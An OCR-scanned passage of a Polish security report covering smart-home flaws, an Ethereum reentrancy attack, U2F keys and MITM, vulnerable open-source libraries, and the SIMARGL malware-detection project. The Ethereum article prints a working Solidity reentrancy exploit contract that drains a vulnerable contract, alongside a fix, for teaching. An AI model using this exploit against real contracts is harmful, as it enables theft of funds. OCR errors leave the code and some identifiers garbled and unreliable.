»Mbzg” systemu okresla, czy przycisk zostat aktywowany
zgodnie z warto$cia jednego z ustawien jednostki sterujacej.
Warto$¢ ta moze byé jednak modyfikowana przez aplikacje.
Program, ktérego dziatanie wzbudza watpliwosci i ktéry
ma dostep do platformy, moze dowolnie nadawaé dostep
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innym. Ale to nie wszystko: uzywajgc tych samych
ustawien, moze on roéwniez odmowi¢ dostepu do legal-
nych urzadzen potaczonych przez witasciciela. Moze sie
wydawac, ze poniewaz platforma Hue jest wykorzystywana
tylko do sterowania o$wietleniem, btad ten jest znacznie
mniej niebezpieczny niz luka w platformie Nest. Jednak
urzadzenia Hue réwniez moga tgczy¢ sie z systemem Nest,
ktory nie tylko ma dostep do zamkoéw w drzwiach i kame,
ale w niektorych przypadkach umozliwia aplikacjom

innych producentéw ich wytgczenie.”

Jak zabezpieczy¢ inteligentny dom?

Luki w zabezpieczeniach sg znajdowane niemal

w kazdym inteligentnym urzgdzeniu domowym.
Cyberprzestepcy moga zaatakowac nawet zamek

lub kamere bezpieczenstwa — a to juz powazna sprawa.
Decyzja, czy wzbogaci¢ swoj dom o technologiczne
nowinki na pewno jest trafna. Jesli jednak postanow-
imy mie¢ ten wymarzony, inteligentny dom, nalezy
zminimalizowaé ryzyko mozliwych wiaman
dokonywanych przez cyberprzestepcow.

Oto kilka rad:

m  Czytajmy opinie o instalowanych przez nas
urzadzeniach zanim je kupimy m.in. o lukach juz
wykrytych. Zwréémy uwage, jak producent reaguje
na wykrycie luk w jego urzadzeniach. Jesli sa one
szybko ujawnione i tatane aktualizacjami to dobry znak;

m  Regularnie sprawdzajmy aktualizacje. Instalujmy
wszelkie udostepnianie przez producenta;

m  ChroAmy te urzadzenia poprzez uzycie silnego
i unikatowego hasta;

m  Poprawnie skonfigurujmy domowa sie¢ Wi-Fi lub
skorzystajmy z wykfalifikowanych specjalistow. Aktua-
lizujmy poprawki dla routera sieci udostepniane przez
producentéw. Szczegdlinie te dotyczgce zabezpieczen;

B Programy pobierajmy tylko z oficjalnych stron i nie
udzielajmy im niepotrzebnych uprawnien. kaczac sie
ze swoim inteligentnym domem za posrednictwem
publicznej sieci Wi-Fi w galeriach handlowych czy
kawiarniach pamietajmy, ze w poblizu réwniez moga
pi¢ kawe cyberprzestepcy i w fatwy sposéb prze-
chwyca wysytane informacje, w tym réwniez twoje
hasta i tokeny autoryzacyjne. Aby tego uniknac,
skorzystajmy z bezpiecznego potaczenia przy uzyciu
np. technologii VPN.

Swiadomie korzystajmy z mozliwosci technologicznych,
pamietajgc jednak o ewentualnych zagrozeniach.

Fragmenty artykutéw publikowane pod tytutem

~Lamanie zabezpieczen inteligentnych domow”
na ,plblog.kaspersky.com”.

Piotr Minicki
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Ethereum - niebezpieczne
kontrakty

Ethereum jest platformg przetwarzania rozproszonego opartego
na technologii blockchain. W odréznieniu od Bitcoina,
Ethereum umozliwia tworzenie zaawansowanych inteligentnych
kontraktéw, ktdre wykonywane sa w wirtualnej maszynie
Etherum (EVM - Ethereum Virtual Machine). W przypadku
Bitcoina udostepniony jest prosty jezyk (Scrypt) umozliwiajacy
definiowanie wielopodpiséw i proste operacje zwigzane

z obstuga wyptat z portfeli. Te dwie technologie reprezentuja
oddzielne funkcjonalnosci — Bitcoin stworzony zostat przede
wszystkim jako cyfrowy pieniadz i jest specjalnie ,,okrojony”
do kilkudziesieciu instrukcji, czego podstawowa zaletg

jest bezpieczenstwo, Ethereum stworzono jako platforme
programistycznag, ktorej mozliwosci sg znacznie wieksze.
Platforma ta za wykonang prace gérnikdw pfaci kryptowalutg
Ether, ktdra jest wymienna na tzw. paliwo. Placi sie nim za
moc obliczeniowg uzywang podczas wykonywania kontraktow
(kazda instrukcja ,,kosztuje”okreslong ilos¢ paliwa). Optaty
paliwem sg jednoczesnie zabezpieczeniem przed atakami DoS
czy przecigzeniem sieci Ethereum (np. poprzez nieskornczone
petle), a cena paliwa jest zmienna w zaleznosci od uzycia
sieci. Mozliwos$ci danego kontraktu ograniczone sg wytgcznie
wyobraznig programisty (i ograniczeniami $rodowiska), a to
zwieksza prawdopodbienstwo wystgpien luk bezpieczenstwa.
W artykule tym przestawimy jeden z najczestszych btedéw

w tworzeniu kontraktow. Postaramy sie odpowiedzie¢

na pytanie, w jaki sposéb dochodzi do kradziezy srodkdw.
Zaprezentujemy takze metody obrony.

Decentralized Autonomous Organization

Jednym z najpopularniejszych atakéw w historii Ethereum byt,
zorganizowany w 2016 roku, atak na kontrakt The DAO (organi-
zacji Decentralized Autonomous Organization). Doprowadzit on
do kradziezy $rodkéw w wysokosci ok. 60 min dolaréw, a sam
kontrakt posiadat ich ok. 150 min. Atakujacy wykorzystali po-
datno$¢ w kontrakcie pozwalajgcg na ponowne wejscie w ten
kontrakt przed zaktualizowaniem salda. Przyktad takiej podat-
nosci opiszemy w tym artykule. Zdarzenie to doprowadzito do
hard forka (jest to rozgatezienie tancucha blokdw na odrebne
gatezi, co czesto doprowadza do powstania nowej kryptowa-
luty), w ktorym zwrécono srodki poszkodowanym. Miato to
jednak efekt uboczny — nie kazdemu w spotecznosci sie to
spodobato, bo blockchain bez wzgledu na wszystko powinien
by¢ niezmienny. Powstaty wiec dwa oddzielne taricuchy i nowa
kryptowaluta - Ethereum Classic (ETC), ktérej cena, ze wzgledu
na istnienie przejetych srodkdw w blockchain i zmniejszenie
ilosci programistow ja rozwijajacych, zostata mocno obnizona.

Kontrakty

Jedna z zalet Ethereum (jak sie czasami okazuje, réwniez
wad) jest mozliwo$¢ definiowania inteligentnych kontraktéw
w Blockchain, a nastepnie odpowiednia interakcja z nimi.
Kontrakty te pozwalajg obstugiwaé $rodki wptywajgce na
konto, regulowa¢ zasady ich wptacania czy wyptacania we-
diug woli programisty. Kontrakty moga réwniez odwotywac
sie do kontraktdw zewnetrznych — juz wczesniej zdefiniowa-
nych w Blockchain i to tutaj czesto dochodzi do naduzyé.

Przyktadowy kontrakt napisany w Solidity zostat
przedstawiony ponizej.

1 pragma solidity ~0.5.0;

2 contract Example({

3 address public owner;

4 mapping (address => uint256) balances;
5 constructor () public {

6 owner = msg.sender;

7
8

}

9 function () external payable({

10 deposit() ;

11 }

12

13 function deposit() public payable {

14 require (msg.value > 0);

15 balances[msg.sender] += msg.value;

16 }

17

18 function withdraw (uint256 amount) public {
19 require (amount <= balances[msg.sender]);
20 balances[msg.sender] -= amount;

21 msg.sender. transfer (amount) ;

22 }

23 }

Kontrakt ten posiada:

a) Konstruktor (linia 5), ktéry wywotywany jest
podczas definiowania kontraktu. Tutaj zapisy-
wany jest w zmiennej ,,owner” adres portfela,
tworzgcego ten kontrakt (w tym przyktadzie
nie jest wykorzystywany).

b) Funkcja rezerwowa z modyfikatorem ,payable”
(linia 9), ktéra domysinie jest wywotywana
podczas odbioru $rodkéw przez kontrakt.

¢) Funkcja ,,deposit” (linia 13), ktéra wywotywana
jest przez funkcje z punktu b). Funkcja ta zapi-
suje w tablicy asocjacyjnej ,,balances” srodki
0sob, ktére wpftacajg je do kontraktu (mozna
zatozy¢, ze jest to instytucja akumulujgca srodki
swoich klientéw np. bank) — kontrakt oczywis-
cie jest mocno zminimalizowany na potrzeby tej
publikacji. W Solidity tablice asocjacyjne
deklaruje sie jak ponizej:

mapping (address => uint256) balances;

oznacza to, ze tablica ,balances” posiada
indeksy typu ,address”, ktérych wartosci sg
zmiennymi 256-bitowymi typu ,,int” bez znaku.
Struktura ,msg” zawiera dane wysytajacego
komunikat do kontraktu.

d) Funkcja ,withdraw” (linia 18), ktéra pozwala
na wydawanie zdeponowanych srodkéw
osobie wptacajgcej wczesniej Srodki na ten
kontrakt. Funkcja ,require” przerwie dziatanie
kontraktu, jesli warunek nie zostanie spetniony.

Jak wspomniano wczesniej kontrakty w Ethereum moga
wywotywac te zdefiniowane w blockchain i ich funkcje.
Rodzi to problem z wielobieznos$cig — podczas wywoty-
wania kontraktu mozna doprowadzi¢ do wielokrotnego
wykonywania funkcji wyptacajacej, ktéra w danym czasie
nie zaktualizowata informacji o stanie salda.

Przyjrzyjmy sie teraz przyktadowemu podatnemu kontraktowi:

1 pragma solidity ~0.5.0;

2

3 contract Vulnerable({

4

5 address public owner;

6 mapping (address => uint256) balances;

7

8 constructor () public {

9 owner = msg.sender;

10 }

11

12 function () external payable({

13 deposit() ;

14 }

15

16 function deposit() public payable {

17 require (msg.value > 0);

18 balances[msg.sender] += msg.value;
19 }

20

21 function withdraw(uint256 amount) public {
22 require (amount <= balances[msg.sender]) ;
23 msg.sender.call.value (amount) (%) ;
24 balances[msg.sender] -= amount;
25 }

26 }

Kontrakt ten rézni sie od poprzedniego funkcjg
L~withdraw”. W liniach 23, 24 wida¢, ze dane przecho-
wujgce ilo$¢ zebranych wczesniej sSrodkéw, aktualizo-
wana jest po wykonaniu instrukcji zwracajacej srodki.
Widaé réwniez zastosowanie niebezpiecznej funkcji
zwracajacej srodki w linii 23.

Atakujacy mogtby stworzy¢ kontrakt, ktéry

zasilitby podatny kontrakt matg suma — np. 1 Ether,

a w momencie wyptaty podatny kontrakt za pomoca
funkcji w linii 23 odwotatby sie z powrotem do
kontraktu atakujgcego, wywotujgc funkcje rezerwowa
odpowiedzialng za obstuge przyjmowania ptatnosci
(payable — listing ponizej — linia 20). Nastepnie funkcja
ta odwotataby sie jeszcze raz do kontraktu podatnego
w momencie kiedy jeszcze nie doszto do aktualizaciji
$rodkow dla atakujgcego. Spowodowatoby

to lawinowe wyptaty dla atakujacego.

Ponizej przyktad exploita wykorzystujacy
te podatnosé:
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1 pragma solidity 70.5.0;

2 import “Vulnerable.sol”;

3

4 contract Exploit{

5 address public owner;

6 Vulnerable public v;

7

8 constructor () public {

9 owner = msg.sender;

10 v = Vulnerable (0xXXXXXXXXXXXXXXXKXXXKXKXXXKXKXXXKXKXXKXKKXXK) ;
11 }

12

13 function send() public {

14 address(v) .call.value (1000000000000000000) (™) ;
15 }

16

17 function deposit() external payable ({

18 }

19

20 function() external payable {

21 require (msg.sender.balance >= 1000000000000000000) ;
22 v.withdraw(1000000000000000000) ;

23 }

24 }

W kontrakcji Ethery reprezentowane sg jako najmniejsza
mozliwa jednostka czyli wei — 1 Ether to 10" wei.

Kontrakt ten posiada dwie funkcje przyjmujgce ptatnosci
(linie 17 i 20). Funkcja ,deposit” przyjmuje poczatkowe
Ethery, aby méc je wysta¢ do podatnego kontraktu — wyko-
nuje sie to w funkciji ,send”. Nastepnie atakujgcy wysyta
ponownie $rodki do swojego kontraktu (exploita), aby wy-
wotac funkcje rezerwowg obstugujaca ptatnosci (linia 20).
Od teraz rozpoczyna sie rekurencyjne wywotanie funkgciji
~withdraw” kontraktu ,Vulnerable”, ktéra wyptacajgc
$rodki wchodzi ponownie do kontraktu atakujgcego.

Metody obrony

Podstawowa metoda obrony jest przede wszystkim
aktualizowanie salda przed wykonaniem transferu srodkéw,
wykorzystanie muteksow (tzn. semaforéw binarnych,

w ktérych kod wykonuje sie atomowo - czyli tylko raz

w danym czasie) lub korzystanie z bardziej bezpiecznych
funkciji transferu srodkdw. Ponizszy przyktad zastosowuje
wszystkie z tych 3 mozliwosci, cho¢ wystarczytoby

tu zastosowac tylko jedna z nich.

Podsumowanie

Powyzszy przyktad pokazuje jedynie jedng z wielu mozli-
wych podatnosci. Kontrakty jako ,,programy” trawione

sg tymi samymi problemami z bezpieczenstwem co zwykte
aplikacje. Moze w nich dochodzi¢ do przekroczenia zakresu
liczbowego, btedéw logicznych, podatnosci zwigzanych
liczbami zmiennoprzecinkowymi (lub w kodzie, ktéry imple-
mentuje niejako te liczby, poniewaz jezyk Solidity nie wspiera
liczb zmiennoprzecinkowych), w sieci zaobserwowano
nawet istnienie ,przynet” na atakujgcych — sg to kontrakty
pozornie podatne, ale przy probie exploitaciji takiego
kontraktu dochodzi do utraty srodkdw.
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1 pragma solidity ~0.5.0;

2

3 contract NotVuln{

4

5 address public owner;

6 mapping (address => uint256) balances;
7 bool mutex = false;

8

9 constructor () public {

10 owner = msg.sender;

11 }

12

13 function () external payable{

14 deposit();

15 }

15

16 function deposit() public payable {
17 require (msg.value > 0);

18 balances[msg.sender] += msg.value;
19 }

20

21 function withdraw(uint256 amount) public {
22 require (amount <= balances[msg.sender]) ;
23 require ( (!mutex) ;

24 mutex = true;

24 balances[msg.sender] -= amount;
25 msg.sender. transfer (amount) ;

26 mutex = false;

27 }

28 }

Jak wida¢ wraz z nowymi funkcjonalnosciami w Swiecie

kryptowalut, powstaja kolejne mozliwosci dla atakujacych.

Osoby tworzace kontrakty w Ethereum musza bra¢

pod uwage mozliwo$é wystgpienia krytycznego btedu
bezpieczenstwa, aby odpowiednio zabezpieczy¢ kod i
$rodki. Przyktad najpopularniejszego ataku — na kontrakt
The DAO - pokazuje, czym moze skonczy¢ sie brak uwagi
w tym aspekcie.

Adam Pichlak

Co warto wiedzieé
o kluczach U2F?

Od pewnego czasu technologia kluczy U2F pojawia
sie coraz czesciej w artykutach i na konferencjach.
Czesto mozna z zamieszczonych tam wypowiedzi
odnies$¢ wrazenie, ze klucz U2F to panaceum na
wszelkie sieciowe zagrozenia. Tworzy to wsréd
korzystajacych z tego rozwigzania (fatszywe) poczucie
bezpieczenstwa. Artykut przedstawia pokrétce opis
dziatania U2F oraz wskazuje cze$¢ zagrozen, ktérymi
opisywane rozwigzanie si¢ zajmuje.

U2F (Universal 2nd Factor) to otwarty standard
uwierzytelnienia (gtéwnie do aplikacji webowych),
dziatajgcy bez sterownikéw. Oczywiscie system
operacyjny i przegladarki muszg obstugiwac¢ urzadzenia
U2F. Sam proces uzycia klucza U2F jest dwuetapowy.
Pierwszy etap, wykonywany jednorazowo dla danej
ustugi, to rejestracja klucza w ustudze oraz jej
rejestracja w kluczu. Obie strony wigzg kryptograficznie
klucz z ustuga (nazwg DNS) oraz indywidualnym
losowym identyfikatorem. Po tym etapie nastepuje
etap wielokrotnego uwierzytelniania. Polega on na
podpisaniu przez klucz prywatny z U2F losowego
ciagu wystanego z serwera ustugi wraz z zapisanym
identyfikatorem. Serwer weryfikuje podpis za pomoca
zapisanego w trakcie rejestracji klucza publicznego.
Klucz odpowiada tylko na zgdania podpisu pocho-
dzacego od zapisanych w nim ustug i unikalnego
identyfikatora. Implementacja po stronie przegladarki
U2F dziata w oparciu o wywotania funkcji JavaScript.
Interfejsem do kluczy U2F jest USB, NFC a takze
Bluetooth.

Uwierzytelnienie U2F. Zrédto: http://usbauth.com/

USB Device Browser Server
username and password
( verify password |
I
[ generage challenge ]
_ challenge
challenge
[ user touch device ]
response
,,,,,,,,,,,,,,,,,,,,,,, )
_response
[ verify response ]

Klucze U2F dziatajg zatem w warstwie aplikacji

webowej (wywotania JavaScript), po wczesniejszym
poprawnym nawigzaniu komunikacji TLS (Transport
Layer Security) i uwierzytelnieniu hastem. To juz wskazuje,
ze przeprowadzenie ataku MITM (Man In The Middle)

na sesje HTTPS (Hypertext Transfer Protocol Secure),

w ktorej wykorzystuje sie logowanie dwuskfadnikowe
(2FA) oparte o U2F, nie rozni sie zasadniczo od tego,

w ktérym nie uzywamy klucza U2F. Ograniczeniem

dla tego ataku jest prawidtowo nawigzany kanat HTTPS
(zielona kiédka), co przy instalacji w przegladarce lub
systemie zaufanego certyfikatu urzedu, np. z Burp

Suite, moze by¢ spetnione. Podsumowujac U2F
wprowadza dodatkowy czynnik w uwierzytelnianiu,

ale nie ogranicza przechwytywania ruchu w otwartej sesji
uzytkownika — nie zapewnia poufnosci, zaréwno podczas
fazy uwierzytelniania do ustugi webowej, jak i samego
korzystania z niej.

W twierdzeniu o zabezpieczaniu potgczenia w przypadku
phishingu lub innych atakéw typu SSLStrip, jest duzo
prawdy. Wynika to z wymagan do dziatania w przeglagdarce

i wywotania funkcji JavaScript zwigzanych z U2F. Klucz U2F
powigzany jest z nazwa domenowa (FQDN) hosta pytajacego
o uwierzytelnienie. Zatem klucz generowany podczas jedno-
krotnego rejestrowana (registration phase) dla accounts.
google.com, bedzie dostepny tylko dla uwierzytelniania
(authentication phase) w tej domenie. Z przypadkowymi
(typosquatting) lub celowymi literéwkami stosowanymi w
phishingu, klucz ten nie bedzie dziata¢, jednak nadal moze
nastapi¢ skuteczne wytudzenie loginu/hasta.

Po drugie, sesja TLS musi by¢ nawigzana bez ostrzezen
(zielona ktddka). Dla potgczen nieszyfrowanych (HTTP)
klucz U2F nie zadziata. Powyzsze zabezpieczenia
ograniczajg obszar ataku, jednak w przypadku komputera
w przystowiowej kawiarence internetowej lub po sktonieniu
uzytkownika do zainstalowania certyfikatu urzedu CA
kontrolowanego przez atakujgcego, nie zapewnia
bezpieczenstwa. Wykradzione poswiadczenia bedg mogty
by¢ wykorzystane w ograniczonym zakresie (nie bedzie
mozliwe obejscie weryfikacji dwuetapowej), ale jesli to
samo hasto byto stosowane w innych serwisach,

to problem pozostaje.

Problemem dla bezpieczenstwa rozwigzania opartego

0 U2F jest mozliwos$¢ przeprowadzenia ataku MITM.
Wydawac sie moze, ze ataki MITM mozna wyeliminowac
przez poprawne wdrozenie mechanizmu HPKP (HTTP
Public Key Pinning)[4]. Czy mozna jednak skutecznie
ograniczy¢ te ataki tylko w oparciu o nagtéwki HPKP?
Stosowanie przypinania certyfikatéw (certificate pinning)
w HTTPS opartych o ten mechanizm jest niestety
skuteczne tylko w pewnych przypadkach ataku MITM.
Chodzi o ataki na HTTPS z wykorzystaniem wydanego
niepoprawnie (nie przez wtasciciela domeny/serwera)
certyfikatu u innego globalnie zaufanego dostawcy
certyfikatéw (posiadajgcego akredytacje WebTrust

i wpisanego do systemowych magazynéw zaufanych
certyfikatéw przegladarek/systemdw) lub zgode przez
uzytkownika na wykorzystanie niezaufanego certyfikatu
witryny internetowej. Jednak jest to mechanizm
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nieskuteczny w przypadku dodania wtasnego certyfikatu
zaufanego urzedu do osobistego magazynu certyfikatdw.
Specyfikacja HPKP zostawita taka luke [5], w celu
umozliwienia inspekcji ruchu HTTPS wewnatrz organizaciji
przez mechanizmy bezpieczenstwa (TLS Inspection).

W tym celu urzadzenie brzegowe (PROXY) terminuje

ruch TLS, nastepnie sprawdza jego zawartos¢

i ponownie szyfruje ruch do klienta.

Wracajac do kluczy U2F, drozsze ich modele majg
zintegrowane funkcje magazynu haset, OTP i karty
inteligentnej. W przypadku karty inteligentnej mozna
stosowac dwustronne uwierzytelnienie TLS, zapewaniajace
bezpieczny kanat end to end w trakcie nawigzywania
potaczenia, ale to juz jest inny mechanizm, pracujacy
niezaleznie od popularnych produktéw FIDO i wymagajgcy
sterownikéw (np. do obstugi PKCS#11). Wykorzystanie
tych mechanizmoéw wykracza poza ramy tego artykutu.

Osobna kwestie stanowi zagrozenie dla prywatnosci.

Zle zaimplementowane klucze U2F moga byé
identyfikowalne za pomoca zaréwno kluczy publicznych, jak
i na podstawie certyfikatéw urzadzenia. Przyktadem takiego
zagrozenia jest rejestracja tego samego klucza

w kontekscie roznych tozsamosci, co moze to utatwié
dostawcy je powigzac.

Czy warto zatem stosowac klucze U2F? Tak, ale istotna
jest Swiadomosé, ze nie jest to rozwiazanie zabezpiecza-
jace przed wszystkimi rodzajami atakéw. Stosowanie
kluczy U2F znacznie podnosi poprzeczke w przypadku
przejmowania tozsamos$ci w danym serwisie, nie zwalnia
jednak ze stosowania zalecen bezpieczenstwa
odnoszacych sie m.in. do niestosowania tych samych
haset w roznych serwisach, weryfikacji prawidtowosci
potaczenia HTTPS, czy wyjatkowo sceptycznego
odnoszenia sie do potrzeby instalacji zaufanych
certyfikatéw urzedéw (CA). Warto takze mie¢ zawsze
alternatywny sposéb dostepu do ustugi (lub drugi
skonfigurowany i zarejestrowany w danej ustudze

klucz U2F), ktéry zastapi klucz podstawowy w razie

jego zagubienia.

Konrad Kaminski
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Diabet tkwi w Open Source

Wykorzystanie rozwigzan o otwartym kodzie zrédtowym
(ang. Open Source) wzrasta z roku na rok. Organizacje
wykorzystujg biblioteki, systemy operacyjne oraz aplikacje
w coraz szerszym zakresie. Niewiele osob zdaje sobie
sprawe, ze w duzej czesci komercyjnych rozwigzan
zawarto$¢ otwartego kodu (w stosunku do catej bazy
kodu) wynosi nawet 76%.

Obecnie wiele organizacji ma bardzo rozbudowane mecha-
nizmy weryfikujgce bezpieczenstwo kodu Zrédtowego, ktory
jest wytwarzany na potrzeby budowania oprogramowania.

Na te mechanizmy sktadajg sie takie elementy jak: przeglad
kodu, statyczne analizy, zestawy przygotowanych testow czy
w koncu testy penetracyjne. Wszystko jest mozliwe dzieki
coraz to nowszym rozwigzaniom, ktére mozna w prosty
sposoéb wykorzystaé wewnatrz faricucha dostarczania
oprogramowania. Niestety nie mozna powiedzie¢ tego samego
o weryfikowaniu bezpieczenstwa bibliotek, ktére pochodza

z zewnetrznych Zrédet. Brak kontroli nad tym obszarem moze
doprowadzi¢ do katastrofalnych efektéw. Jednym z przyktadow
jest prawdopodobnie najbardziej znany przypadek wycieku
danych w firmie Equifax. Wyciek dotyczyt danych 143 min
uzytkownikéw i byt spowodowany krytyczng podatnoscia

w bibliotece Apache Struts (CVE-2017-5638), ktéra
umozliwiata zdalne wykonanie kodu na serwerze. Od momentu
opublikowania podatnosci do wykrycia wtamania (ale jeszcze
nie do zaktualizowania) mineto ponad 5 miesiecy. Jeszcze
dzisiaj mozliwe jest znalezienie serwiséw, ktére korzystajg

z podatnej wersji wyzej wymienionej biblioteki.

Aby przedstawi¢ skale problemu postanowilismy przetestowac
kilkanascie najpopularniejszych projektéw stworzonych

w jezyku programowania JAVA, ktore sg umieszczone w serwisie
GitHub . Dodatkowym wymaganiem byto to, aby projekt byt
aktywnie rozwijany (ostatnia zmiana nie pdzniej niz miesiac
od momentu wykonywania eksperymentu). Eksperyment
dotyczyt 15 wybranych repozytoriéw kodu.

Najstarsza podatnos$é

CVE-2013-7285

Wykryta w 18%projektow

Posiada podatnosci

80%

Repozytoria kodu

Najpopularniejsza podatnosc

CVE-2018-14718

Wykryta w 30% projektow

Najbardziej podatna biblioteka

jackson-mapper-asl:1.9.13

Posiada 40 opublikowanych podatnosci

Z badanych repozytoriow kodu, az w 80% znalezione
zostaly opublikowane podatnosci w bibliotekach, ktére
sg wykorzystywane w rozwigzaniu. Nalezy pamietac,
ze nawet pobierana z zewnetrznego zrodta biblioteka
moze zawiera¢ odniesienia do innych, w wyniku czego
tworzona jest cata mapa zaleznosci. Najstarsza wykryta
podatnosé, w aktywnie rozwijanym projekcie zostata
opublikowana w 2013 roku i dotyczyta biblioteki
‘XStream’ pozwalajgc na wykonywanie zdalnych ko-
mend w systemie operacyjnym. Jak wida¢ 5 miesiecy
na podniesienie wersji w przypadku wspomnianej
wczesniej podatnosci w Apache Struts wyglada
bardzo dobrze w poréwnaniu do niemal 7-letniego
CVE-2013-7285. Najbardziej popularna podatnosc,
zostata wykryta w komponencie ‘jackson-databind’
wykorzystywanym przez 30% badanych repozytoriéw
kodu. Podatnos$¢ opisana jako CVE-2018-14 pozwala
na zdalne wykonanie kodu poprzez btedy zwigzane

z deserializacjg. Ciekawe, ze bibliotekg, ktéra posiada
najwiecej opublikowanych podatnosci jest ‘jackson-map-
per-asl’ w wersji 1.9.13. Pomimo, ze nie jest ona rozwi-
jana od 2013 roku, to jest zawarta na Sciezce bardzo
duzej ilosci bibliotek. Podobne problemy mozna
zaobserwowaé w wielu innych przypadkach, w ktérych
biblioteka, ktéra nie jest potrzebna do wykonywania
logiki biznesowej znajduje sie na sciezce. Jest to
szczegdlnie niebezpieczne w przypadku wystgpienia
btedbéw zwigzanych z deserializacja, gdzie konkretna
funkcjonalno$¢ nie musi byé w zaden sposéb wyko-
rzystywana, aby atakujacy miat mozliwo$¢ zdalnego
wykonania kodu.

Bioragc pod uwage rozmiar eksperymentu nie mozna
méwié o trendach, poniewaz prébka jest zbyt mata.
Jednak problem zwigzany z bezpieczenstwem opro-
gramowania pobieranego z zewnetrznych zrodet
istnieje. Programisci czesto bezkrytycznie dodajg
kolejne zaleznosci do rozwijanych aplikacji, a procesy
dostarczania oprogramowania nie weryfikuja stanu
bezpieczenstwa otwartego oprogramowania wykorzy-
stywanego przez budowany system. Sag tez pozytywy.
Coraz wiecej osdb zajmujgcych sie zarbwno bezpie-
czenstwem, jak i rozwojem oprogramowania zauwaza
problem. Istnieja darmowe rozwigzania (oczywiscie

z otwartym kodem), ktére sg juz na tyle dojrzatymi
projektami, ze doréwnujg doktadnoscig swoim komer-
cyjnym odpowiednikom. Teraz wystarczy powiedzie¢
~Sprawdzam” i wykorzysta¢ odpowiednie narzedzia
do weryfikacji bezpieczenstwa tworzonego
oprogramowania.

Grzegorz Siewruk
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SIMARGL - nowy projekt
europejski z udziatem
Orange Polska

W maju 2019 r., Orange Polska wraz z partnerami
konsorcjum z 7 krajow europejskich rozpoczeta realizacje
projektu badawczo-innowacyjnego SIMARGL (Secure
Intelligent Methods for Advanced Recognition of Malware
and Stegomalware), wspotfinansowanego przez Komisje
Europejska w ramach Programu Horyzont 2020, zgodnie
z Umowa Grantowa nr 833042.

Logotyp projektu SIMARGL
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SIMARGL

Misja projektu SIMARGL jest zapewnienie zaawanso-
wanych, innowacyjnych rozwigzan do efektywnego
wykrywania szkodliwego oprogramowania typu malware,
ransomware, badware oraz wykrywania ztosliwego

kodu ukrytego w innych plikach, najczesciej multime-
dialnych, przy pomocy technik steganograficznych

tzw. stegomalware.

Projekt SIMARGL w ciggu 3 lat planuje dostarczyé
zaawansowang platforme technologiczna:

1. Utatwiajaca wykrywanie ztosliwego oprogramowania,
w szczegodlnosci pozwalajgcag na identyfikacje trud-
nego do wykrycia stegomalware, czyli szkodliwego
kodu (malware), ktérego obecno$¢ zostata ukryta przy
pomocy technik lub narzedzi steganograficznych.

2. Przeprowadzajaca — w wyniku integracji szerokiej
gamy komponentéw i sond dostarczonych przez
partneréw SIMARGL — kompleksowa analize
ztosliwego oprogramowania i tym samym oferujgca
zwiekszone mozliwosci jego wykrywania.

3. Oparta na algorytmach systeméw uczacych sie (machi-
ne learning oraz deep learning), zaprojektowang w ten
sposéb, aby byta gotowa do bezpiecznego korzystania
Z niej i w prosty i zrozumiaty, dla uzytkownikéw konco-
wych, sposdéb wyjasniata rezultaty dziatania zaimplmen-
towanych na platformie zaawansowanych algorytméw.
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Ogodlna koncepcja projektu SIMARGL

Analiza
cyberzagrozen
iich
ekspercka
ocena
oraz
inwentaryzacja
dostepnych
rozwiazan

Rozwadj:

m Detekcja anomalii
B Techniki ukrywania informaciji
B Machine learning oraz deep learning
= Wykrywanie atakéw typu phishing

Dostepne rozwiazania

Attack Prophecy/Alsafe DNS (Pluribus)
Orion Malware (Airbus Cybersecurity)
Sondy i Platforma Integracyjna Thales
WAF i IP ADS (ITTI)

RED-Alert (SIVECO)

4

Rozwiazanie
SIMARGL
(tzw. Toolkit)

Uzytkownicy
koncowi:

= CERT/CSIRT

= Administracja

= Publiczna
Organy
$cigania

A

} I Aspekty prawne, spoteczne i socjologiczne

W sktad konsorcjum SIMARGL wchodzi 14 partneréw
z 7 krajéw Unii Europejskiej, ktérzy specjalizujg sie

w zwalczaniu szkodliwego oprogramowania oraz
technikach ukrywania informacji. Wsréd partneréw
konsorcjum sg jednostki naukowo-badawcze

m.in. z Polski Politechnika Warszawska oraz ITTI sp.

Z 0.0. oraz europejscy dostawcy ustug i rozwigzan
cyberbezpieczenstwa. Orange Polska, przy testowaniu
wypracowywanych rozwigzan, wspotpracuje blisko
m.in. z Airbus Cybersecurity oraz Thales.

Kraje, z ktorych pochodza partnerzy konsorcjum
SIMARGL

Adrian Marzecki

Wiecej informacji o projekcie bedzie mozna znalez¢
na stronie www.simargl.eu

60

Cieszy to, ze coraz wiecej firm chce edukowac
swoich klientow w zakresie bezpieczenstwa

| Z podniesionym czotem opisuje ataki

i incydenty dotyczace bezpieczenstwa

z jakimi przyszto im sie zmierzyc.
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Partnerzy CERT Orange Polska

Od ponad 16 lat testuje bezpieczenstwo IT.

Jest autorem ponad stu prelekcji na branzowych
konferencjach m.in. Confidence, SECURE, Semafor
itd. Specjalista zajmujacy sie testami penetracyj-
nymi w firmie https://logicaltrust.net Swiadczacej
kompleksowe ustugi w obszarze bezpieczenstwa
informaciji.

,Jedyna statg rzeczg jest zmiana.” — Heraklit z Efezu.
Co roku cyberprzestepcy wymyslajg nowe techniki
przetamywania zabezpieczen oraz kolejne sposoby
na oszukanie uzytkownikoéw internetu. Mimo
nacisku na zwigkszanie swiadomosci oraz nowym
technologicznym metodom obrony, wcigz rosnie
skala i liczba ofiar w cyberprzestrzeni. Sadze, ze ten
trend w najblizszych latach pozostanie bez zmian.

Mamy dzi$ do czynienia z zespotami atakujgcych.
Po przejeciu danych firmowych, najpierw oferujg

w sieci sprzedaz cennych informacji lub dostep do
infrastruktury firmy, nastepnie szyfrujg dyski, zadajac
okupu za odzyskanie danych, by na koncu zagrozi¢,
ze opublikujg, dostepne bezptatnie dane firmowe

w sieci, jesli nie zostang spetnione ich oczekiwania
finansowe. Dodatkowo przypominajg ofierze
(paradoksalnie!), ze GDPR srogo karze za wycieki
danych osobowych i lepiej po cichu zaptaci¢ okup.
To co dzi$ napedza nowoczesnych przestepcow to
zysk i warto przy budowaniu strategii obrony swojej

firmy pamieta¢ o tej finansowej motywac;ji atakujgcych.

Kilkanascie lat temu mawiali§my, ze ,bezpieczenstwo
to ciagly proces”. Dzi$ juz samo procesowe podejscie
nie wystarczy. W tak szybko zmieniajgcym sie Swiecie
nowych technologii, nie zapominajmy, ze pomysty na
ochrone zasobow, ktére maja kilka lat, dzi$ moga by¢
nieaktualne. Aby skuteczniej chroni¢ swoje zasoby
musimy dziata¢ szybciej, efektywniej i wykorzystujac
wspdlne podejscie do wymiany informaciji. Wtedy
bedziemy mieli wieksze szanse, by czesciej wygrywac
w tym wyscigu.

Piotr
Konieczny

